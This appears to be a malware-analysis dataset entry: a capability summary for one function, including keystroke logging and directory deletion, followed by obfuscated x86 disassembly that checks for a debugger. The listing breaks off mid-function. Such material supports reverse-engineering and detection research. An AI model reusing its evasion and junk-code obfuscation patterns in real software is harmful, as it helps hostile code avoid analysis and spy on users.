Function at 0x10030284
Capabilities:
Check os version
Delete directory
Get common file path
Get graphical window text
Get system information on windows
Log keystrokes via polling
Parse pe header
Read .ini file
Resume thread

Disassembly:
mov eax, 0x10084154
call fcn.100825e0
mov eax, 0x171c
call fcn.1007ed90
push ebx
push esi
push edi
push 2
pop ebx
mov dword [ebp - 0x60], ecx
or esi, 0xffffffff
mov dword [ebp - 0x10], esi
lea ecx, [ebp - 0x1018]
push ebx
mov byte [ebp - 0x69], dl
call fcn.100160cf
xor eax, eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x10], eax
push 7
pop ecx
cmp dword [ebp - 0x10], ebx
jge 0x100302e3
push dword [ebp - 0x10]
lea ecx, [ebp - 0x1018]
call fcn.1001613c
push 7
pop ecx
mov dword [eax], ecx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x100302c6
xor eax, eax
mov edi, dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov dword [ebp - 0x10], ecx
jmp 0x10030309
mov dword [ebp - 0x3c], 0xf1d8987f
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x10030303
push eax
call edi
xor eax, eax
dec dword [ebp - 0x3c]
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0xf
jle 0x100302ee
lea ecx, [ebp - 0x1018]
mov dword [ebp - 4], esi
call fcn.10016137
mov dword [ebp - 0x10], esi
lea ecx, [ebp - 0xd74]
push ebx
call fcn.100160cf
xor ebx, ebx
xor eax, eax
inc ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x1003035c
push dword [ebp - 0x10]
lea ecx, [ebp - 0xd74]
call fcn.1001613c
mov dword [eax], 7
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x1003033d
xor eax, eax
mov dword [ebp - 0x10], 7
jmp 0x10030380
mov dword [ebp - 0x3c], 0xf1d8987f
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x1003037a
push eax
call edi
xor eax, eax
dec dword [ebp - 0x3c]
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0xf
jle 0x10030365
lea ecx, [ebp - 0xd74]
mov dword [ebp - 4], esi
call fcn.10016137
mov dword [ebp - 0x10], esi
mov eax, 0xa5d6c05b
mov dword [ebp - 0x730], eax
mov dword [ebp - 0x72c], eax
mov dword [ebp - 0x728], eax
push 3
mov dword [ebp - 0x724], eax
pop edx
mov dword [ebp - 0x10], edx
push 5
mov dword [ebp - 0x3c], 0xbca7b5cf
pop eax
mov dword [ebp - 0x3c], eax
xor eax, eax
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x10], eax
jmp 0x100304e1
mov dword [ebp - 0x24], 0xd03248c6
mov dword [ebp - 0x3c], 9
mov dword [ebp - 0x24], eax
jmp 0x100304d5
mov dword [ebp - 0x4c], eax
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x1003040f
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateHalftonePalette]
push 3
xor eax, eax
pop edx
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], edx
jg 0x100304d2
mov dword [ebp - 0x20], 0x307d7c11
mov dword [ebp - 0x34], 0x51fa4c82
mov dword [ebp - 0x20], edx
cmp dword [ebp - 0x20], eax
jl 0x1003046e
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], edx
jg 0x10030469
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x10030454
push 0x17fd
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 3
pop edx
mov eax, dword [ebp - 0x4c]
push 0
mov eax, dword [ebp + eax*4 - 0x730]
inc dword [ebp - 0x30]
pop eax
cmp dword [ebp - 0x30], edx
jle 0x1003043c
dec dword [ebp - 0x20]
jns 0x10030431
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp + eax*4 - 0x730]
xor eax, eax
cmp dword [ebp - 0x4c], eax
jne 0x10030498
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x10]
xor eax, eax
cmp dword [ebp - 0x34], eax
je 0x1003049a
mov eax, ebx
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
sub eax, 0xaed1
neg eax
push 0
sbb eax, eax
inc eax
add eax, dword [ebp - 0x24]
imul ecx, eax, 0xec3
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x730], ecx
inc dword [ebp - 0x4c]
pop eax
cmp dword [ebp - 0x4c], edx
jle 0x1003041b
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edx
jle 0x100303ea
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edx
jle 0x100303d4
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x100304f9
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
push 2
lea ecx, [ebp - 0xf34]
call fcn.100160cf
mov dword [ebp - 4], 2
xor eax, eax
mov dword [ebp - 0x54], 0xfffffffb
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x3c], 0xfffffff6
mov dword [ebp - 0x10], eax
jmp 0x10030539
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1d8], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x10030528
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x10], eax
xor eax, eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], eax
jl 0x10030619
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], eax
jl 0x10030610
push 9
pop ecx
mov dword [ebp - 0x2c], 0x68939f5f
mov dword [ebp - 0x3c], 2
mov dword [ebp - 0xcd4], ecx
mov dword [ebp - 0xcd0], ecx
mov dword [ebp - 0xccc], ecx
mov dword [ebp - 0xcc8], ecx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], eax
jg 0x10030607
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x44], 0xc9995890
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], eax
jg 0x100305fc
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp + eax*4 - 0x1d8]
inc dword [ebp - 0x2c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp + eax*4 - 0x1d8]
cmp dword [ebp - 0x2c], eax
jg 0x100305d6
mov eax, dword [ebp - 0x30]
cmp dword [ebp + eax*4 - 0x1d8], 0
jne 0x100305d6
xor eax, eax
mov ecx, eax
jmp 0x100305d8
mov ecx, ebx
xor eax, eax
cmp ecx, 0x16
setne al
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0xcc8], eax
xor eax, eax
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], eax
jle 0x100305a7
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], eax
jle 0x10030595
push 9
pop ecx
dec dword [ebp - 0x24]
jns 0x10030567
dec dword [ebp - 0x54]
jns 0x10030558
mov dword [ebp - 0x18], 0x48d327cb
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x34], 0xc1932e3c
push 7
mov dword [ebp - 0x10], 0xf6f49c23
pop ecx
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x18], 0xffffffed
cmp dword [ebp - 0x18], 2
jl 0x100307f1
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x3c], 0x737b78f1
mov dword [ebp - 0x3c], 0x8e972ce3
mov dword [ebp - 0x10], eax
jmp 0x1003066f
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xf8], 0x972c40a9
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1003065e
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x18]
sub ecx, eax
neg ecx
sbb ecx, ecx
inc ecx
cmp ecx, 0x8213af72
sbb eax, eax
inc eax
add eax, 0x29694d2b
je 0x100306a8
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x100306aa
mov edx, ebx
jmp 0x100306ac
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x4c]
xor ecx, ecx
cmp edx, eax
setle cl
xor edx, edx
imul ecx, dword [ebp - 0x4c]
mov dword [ebp - 0x2c], ecx
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x2c]
cmp eax, ecx
setl dl
xor eax, eax
mov dword [ebp - 0x10], edx
cmp dword [ebp - 0x10], eax
je 0x1003075a
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], eax
jl 0x1003076c
push 3
pop eax
push eax
lea ecx, [ebp - 0x8bc]
call fcn.100160cf
push 3
pop ecx
xor eax, eax
mov byte [ebp - 4], cl
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ecx
jge 0x10030724
push dword [ebp - 0x24]
lea ecx, [ebp - 0x8bc]
call fcn.1001613c
push 3
mov dword [eax], 0x91b7
inc dword [ebp - 0x24]
pop eax
cmp dword [ebp - 0x24], eax
jl 0x10030703
xor eax, eax
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x10030738
push 0x29b
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
push ebx
lea ecx, [ebp - 0x8bc]
call fcn.1001613c
lea ecx, [ebp - 0x8bc]
mov byte [ebp - 4], 2
call fcn.10016137
dec dword [ebp - 0x10]
jns 0x100306e4
jmp 0x1003076a
mov dword [ebp - 0x3c], 0xf5e4d8d9
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0xf8], eax
xor eax, eax
cmp dword [ebp - 0xf8], eax
je 0x100307cf
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
cmp eax, ebx
mov eax, dword [ebp - 0x50]
setl cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0xf8], eax
setne dl
sub eax, edx
jne 0x100307ab
mov ecx, eax
cmp dword [ebp - 0xf8], eax
je 0x100307ad
mov ecx, ebx
mov eax, dword [ebp - 0x18]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x4c]
setg dl
xor ecx, ecx
cmp edx, eax
setne cl
sub ecx, dword [ebp - 0x4c]
cmp ecx, dword [ebp - 0x18]
jge 0x100307cd
mov ecx, ebx
jmp 0x100307d1
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x50]
imul eax, dword [ebp - 0x34]
push 0
imul eax, ecx
mov dword [ebp - 0x3c], eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
pop eax
jge 0x10030648
push 7
pop ecx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x10030818
push dword [ebp - 0x10]
lea ecx, [ebp - 0xf34]
call fcn.1001613c
push 7
pop ecx
mov dword [eax], ecx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x100307fa
xor eax, eax
mov dword [ebp - 0x10], ecx
jmp 0x10030838
mov dword [ebp - 0x3c], 0xf1d8987f
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x10030832
push eax
call edi
xor eax, eax
dec dword [ebp - 0x3c]
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0xf
jle 0x1003081d
lea ecx, [ebp - 0xf34]
mov dword [ebp - 4], esi
call fcn.10016137
push 3
pop esi
push esi
lea ecx, [ebp - 0xe0]
call fcn.100160cf
mov dword [ebp - 4], 4
xor eax, eax
mov dword [ebp - 0x3c], 0x2c5d177c
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x2c], 0x98b94be3
mov dword [ebp - 0x44], 0x8308faa8
mov dword [ebp - 0x10], eax
jmp 0x10030892
push dword [ebp - 0x10]
call fcn.1001613c
mov dword [eax], 0xfffffff9
inc dword [ebp - 0x10]
lea ecx, [ebp - 0xe0]
cmp dword [ebp - 0x10], esi
jl 0x10030881
push ebx
call fcn.1001613c
mov esi, 0xfffd
cmp dword [eax], 0
je 0x100309a1
push 2
lea ecx, [ebp - 0xe0]
call fcn.1001613c
xor ebx, ebx
lea ecx, [ebp - 0xe0]
cmp dword [eax], 0x30498d20
sete bl
xor eax, eax
inc eax
push eax
call fcn.1001613c
xor ecx, ecx
cmp ebx, dword [eax]
sete cl
cmp esi, ecx
lea ecx, [ebp - 0xe0]
sbb esi, esi
xor ebx, ebx
inc ebx
neg esi
push ebx
call fcn.1001613c
lea ecx, [ebp - 0xe0]
sub esi, dword [eax]
xor eax, eax
push eax
call fcn.1001613c
xor ecx, ecx
push ebx
cmp dword [eax], esi
setne cl
mov dword [ebp - 0x3c], ecx
lea ecx, [ebp - 0xe0]
call fcn.1001613c
mov ecx, dword [ebp - 0x3c]
push ebx
add ecx, dword [eax]
mov dword [ebp - 0x3c], ecx
lea ecx, [ebp - 0xe0]
call fcn.1001613c
mov ecx, dword [ebp - 0x3c]
add ecx, 9
neg ecx
mov eax, dword [eax]
sbb ecx, ecx
add ecx, 0x860532b7
add eax, ecx
lea ecx, [ebp - 0xe0]
mov dword [ebp - 0x2c], eax
push ebx
call fcn.1001613c
mov esi, dword [ebp - 0x2c]
lea ecx, [ebp - 0xe0]
push ebx
add esi, dword [eax]
call fcn.1001613c
cmp esi, dword [eax]
jle 0x1003096f
xor eax, eax
mov esi, eax
cmp dword [ebp - 0x2c], eax
je 0x10030971
mov esi, ebx
push ebx
lea ecx, [ebp - 0xe0]
call fcn.1001613c
xor ebx, ebx
lea ecx, [ebp - 0xe0]
cmp esi, dword [eax]
setl bl
xor eax, eax
inc eax
push eax
call fcn.1001613c
cmp ebx, dword [eax]
jle 0x1003099e
xor ebx, ebx
inc ebx
mov esi, ebx
jmp 0x100309a5
xor ebx, ebx
inc ebx
xor eax, eax
mov esi, eax
push ebx
lea ecx, [ebp - 0xe0]
call fcn.1001613c
xor ecx, ecx
push ebx
cmp esi, dword [eax]
setge cl
imul esi, ecx, 0xe8ef
lea ecx, [ebp - 0xe0]
call fcn.1001613c
xor ecx, ecx
mov eax, dword [eax]
add eax, esi
cmp eax, 0xfff7
setne cl
xor eax, eax
mov byte [ebp - 0x25], al
cmp ecx, 0xfd09
jle 0x100309f3
cmp byte [ebp - 0x25], al
je 0x10030a1e
push eax
call dword [sym.imp.KERNEL32.dll_RtlCaptureContext]
jmp 0x10030a1e
cmp byte [ebp - 0x25], al
je 0x10030a0e
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_EndDoc]
xor eax, eax
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x10030a1e
push eax
call dword [sym.imp.COMDLG32.dll_GetSaveFileNameW]
or esi, 0xffffffff
lea ecx, [ebp - 0xe0]
mov dword [ebp - 4], esi
call fcn.10016137
mov eax, 0xa5d6c05b
mov dword [ebp - 0x710], eax
mov dword [ebp - 0x70c], eax
mov dword [ebp - 0x708], eax
push 3
mov dword [ebp - 0x704], eax
pop edx
mov dword [ebp - 0x10], edx
push 5
mov dword [ebp - 0x3c], 0xbca7b5cf
pop eax
mov dword [ebp - 0x3c], eax
xor eax, eax
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x10], eax
jmp 0x10030b79
mov dword [ebp - 0x24], 0xd03248c6
mov dword [ebp - 0x3c], 9
mov dword [ebp - 0x24], eax
jmp 0x10030b6d
mov dword [ebp - 0x4c], eax
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x10030aa7
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateHalftonePalette]
push 3
xor eax, eax
pop edx
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], edx
jg 0x10030b6a
mov dword [ebp - 0x20], 0x307d7c11
mov dword [ebp - 0x34], 0x51fa4c82
mov dword [ebp - 0x20], edx
cmp dword [ebp - 0x20], eax
jl 0x10030b06
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], edx
jg 0x10030b01
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x10030aec
push 0x17fd
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 3
pop edx
mov eax, dword [ebp - 0x4c]
push 0
mov eax, dword [ebp + eax*4 - 0x710]
inc dword [ebp - 0x30]
pop eax
cmp dword [ebp - 0x30], edx
jle 0x10030ad4
dec dword [ebp - 0x20]
jns 0x10030ac9
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp + eax*4 - 0x710]
xor eax, eax
cmp dword [ebp - 0x4c], eax
jne 0x10030b30
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x10]
xor eax, eax
cmp dword [ebp - 0x34], eax
je 0x10030b32
mov eax, ebx
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
sub eax, 0xaed1
neg eax
push 0
sbb eax, eax
inc eax
add eax, dword [ebp - 0x24]
imul ecx, eax, 0xec3
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x710], ecx
inc dword [ebp - 0x4c]
pop eax
cmp dword [ebp - 0x4c], edx
jle 0x10030ab3
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edx
jle 0x10030a82
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edx
jle 0x10030a6c
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x10030b93
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
xor eax, eax
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x54], 0xfffffffb
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x3c], 0xfffffff6
mov dword [ebp - 0x10], eax
jmp 0x10030bc0
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x23c], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x10030baf
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x10], eax
xor eax, eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], eax
jl 0x10030ca0
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], eax
jl 0x10030c97
push 9
pop ecx
mov dword [ebp - 0x2c], 0x68939f5f
mov dword [ebp - 0x3c], 2
mov dword [ebp - 0xd14], ecx
mov dword [ebp - 0xd10], ecx
mov dword [ebp - 0xd0c], ecx
mov dword [ebp - 0xd08], ecx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], eax
jg 0x10030c8e
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x44], 0xc9995890
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], eax
jg 0x10030c83
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp + eax*4 - 0x23c]
inc dword [ebp - 0x2c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp + eax*4 - 0x23c]
cmp dword [ebp - 0x2c], eax
jg 0x10030c5d
mov eax, dword [ebp - 0x30]
cmp dword [ebp + eax*4 - 0x23c], 0
jne 0x10030c5d
xor eax, eax
mov ecx, eax
jmp 0x10030c5f
mov ecx, ebx
xor eax, eax
cmp ecx, 0x16
setne al
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0xd08], eax
xor eax, eax
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], eax
jle 0x10030c2e
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], eax
jle 0x10030c1c
push 9
pop ecx
dec dword [ebp - 0x24]
jns 0x10030bee
dec dword [ebp - 0x54]
jns 0x10030bdf
push 2
lea ecx, [ebp - 0xf7c]
call fcn.100160cf
push 5
pop eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x18], 0x48d327cb
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x34], 0xc1932e3c
push 7
mov dword [ebp - 0x10], 0xf6f49c23
pop eax
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x18], 0xffffffed
cmp dword [ebp - 0x18], 2
jl 0x10030e8a
xor eax, eax
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x3c], 0x737b78f1
mov dword [ebp - 0x3c], 0x8e972ce3
mov dword [ebp - 0x10], eax
jmp 0x10030d0b
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x118], 0x972c40a9
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x10030cfa
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x18]
sub ecx, eax
neg ecx
sbb ecx, ecx
inc ecx
cmp ecx, 0x8213af72
sbb eax, eax
inc eax
add eax, 0x29694d2b
je 0x10030d44
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x10030d46
mov edx, ebx
jmp 0x10030d48
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x4c]
xor ecx, ecx
cmp edx, eax
setle cl
xor edx, edx
imul ecx, dword [ebp - 0x4c]
mov dword [ebp - 0x2c], ecx
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x2c]
cmp eax, ecx
setl dl
xor eax, eax
mov dword [ebp - 0x10], edx
cmp dword [ebp - 0x10], eax
je 0x10030df6
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], eax
jl 0x10030e08
push 3
pop esi
push esi
lea ecx, [ebp - 0x8d4]
call fcn.100160cf
xor eax, eax
mov byte [ebp - 4], 6
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], esi
jge 0x10030dbb
push dword [ebp - 0x24]
lea ecx, [ebp - 0x8d4]
call fcn.1001613c
mov dword [eax], 0x91b7
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jl 0x10030d9d
xor eax, eax
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x10030dcf
push 0x29b
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
push ebx
lea ecx, [ebp - 0x8d4]
call fcn.1001613c
push 5
lea ecx, [ebp - 0x8d4]
cmp dword [eax], 0
pop eax
mov byte [ebp - 4], al
call fcn.10016137
dec dword [ebp - 0x10]
jns 0x10030d83
jmp 0x10030e06
mov dword [ebp - 0x3c], 0xf5e4d8d9
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x118], eax
xor eax, eax
cmp dword [ebp - 0x118], eax
je 0x10030e6b
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
cmp eax, ebx
mov eax, dword [ebp - 0x50]
setl cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x118], eax
setne dl
sub eax, edx
jne 0x10030e47
mov ecx, eax
cmp dword [ebp - 0x118], eax
je 0x10030e49
mov ecx, ebx
mov eax, dword [ebp - 0x18]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x4c]
setg dl
xor ecx, ecx
cmp edx, eax
setne cl
sub ecx, dword [ebp - 0x4c]
cmp ecx, dword [ebp - 0x18]
jge 0x10030e69
mov ecx, ebx
jmp 0x10030e6d
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x50]
imul eax, dword [ebp - 0x34]
imul eax, ecx
mov dword [ebp - 0x3c], eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jge 0x10030ce2
or esi, 0xffffffff
mov dword [ebp - 0x24], 0xd3a18e41
xor eax, eax
mov dword [ebp - 0x30], 0xf2c9a130
push 3
mov dword [ebp - 0x10], eax
pop ecx
cmp dword [ebp - 0x10], ecx
jge 0x10030ebd
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xd8c], 0xfffffff6
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x10030ea5
xor eax, eax
cmp dword [ebp - 0x24], eax
je 0x10030ec5
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
xor eax, eax
cmp dword [ebp - 0x24], eax
je 0x10030edc
mov ecx, ebx
cmp dword [ebp - 0x30], eax
jne 0x10030ede
mov ecx, eax
mov eax, dword [ebp - 0x30]
sub ecx, eax
mov dword [ebp - 0xd88], ecx
mov dword [ebp - 0x30], 0xfffffffa
jmp 0x10030f20
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x3c], 0xb8cff26a
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x3c], 0x97440271
mov eax, dword [ebp - 0xd88]
add eax, 0x31e
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x30]
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0xa
push 8
pop eax
jg 0x10030ef2
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x10030f53
push dword [ebp - 0x10]
lea ecx, [ebp - 0xf7c]
call fcn.1001613c
mov dword [eax], 7
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x10030f34
xor eax, eax
push 3
pop esi
mov dword [ebp - 0x24], eax
lea ecx, [ebp - 0x8ec]
push esi
call fcn.100160cf
push 7
pop eax
mov byte [ebp - 4], al
xor eax, eax
mov dword [ebp - 0x3c], 0x51efdb7
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x10030f97
push dword [ebp - 0x10]
lea ecx, [ebp - 0x8ec]
call fcn.1001613c
and dword [eax], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x10030f7c
xor eax, eax
mov dword [ebp - 0x24], eax
jmp 0x10031089
mov dword [ebp - 0x30], 4
lea ecx, [ebp - 0xa1c]
push ebx
call fcn.100160cf
push 8
pop eax
mov byte [ebp - 4], al
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x10030fe0
push dword [ebp - 0x10]
lea ecx, [ebp - 0xa1c]
call fcn.1001613c
mov dword [eax], 0x5357
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x10030fc2
xor eax, eax
mov dword [ebp - 0x30], 5
cmp dword [ebp - 0x30], 0xc
jge 0x10031021
or ecx, 0xffffffff
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x10031018
push dword [ebp - 0x10]
lea ecx, [ebp - 0x8ec]
call fcn.1001613c
or ecx, 0xffffffff
mov dword [eax], ecx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x10030ffb
xor eax, eax
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0xc
jl 0x10030ff0
push 2
lea ecx, [ebp - 0x8ec]
call fcn.1001613c
mov esi, eax
lea ecx, [ebp - 0xa1c]
xor eax, eax
push eax
call fcn.1001613c
xor ecx, ecx
mov edx, dword [eax]
imul edx, dword [esi]
mov eax, dword [ebp - 0x30]
test eax, eax
sets cl
xor eax, eax
imul ecx, edx
test ecx, ecx
setle al
cmp dword [ebp - 0x30], eax
jle 0x10031067
xor eax, eax
cmp dword [ebp - 0x24], eax
je 0x10031069
mov eax, ebx
jmp 0x10031069
xor eax, eax
mov dword [ebp - 0x3c], eax
lea ecx, [ebp - 0xa1c]
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x30], eax
push 7
pop eax
mov byte [ebp - 4], al
call fcn.10016137
inc dword [ebp - 0x24]
push 3
pop esi
cmp dword [ebp - 0x24], ebx
jne 0x10030f9f
push 5
pop eax
lea ecx, [ebp - 0x8ec]
mov byte [ebp - 4], al
call fcn.10016137
push 7
pop eax
mov dword [ebp - 0x18], eax
jmp 0x10031630
movdqa xmm0, xmmword [0x10007bd0]
lea eax, [ebp - 0x10f4]
push eax
lea eax, [ebp - 0x1104]
push eax
lea ecx, [ebp - 0x1470]
movdqu xmmword [ebp - 0x1104], xmm0
call fcn.1001614b
lea ecx, [ebp - 0x218]
mov esi, eax
call fcn.10008c23
push eax
push dword [esi + 4]
lea ecx, [ebp - 0xda4]
push dword [esi]
call fcn.10016111
mov byte [ebp - 4], 9
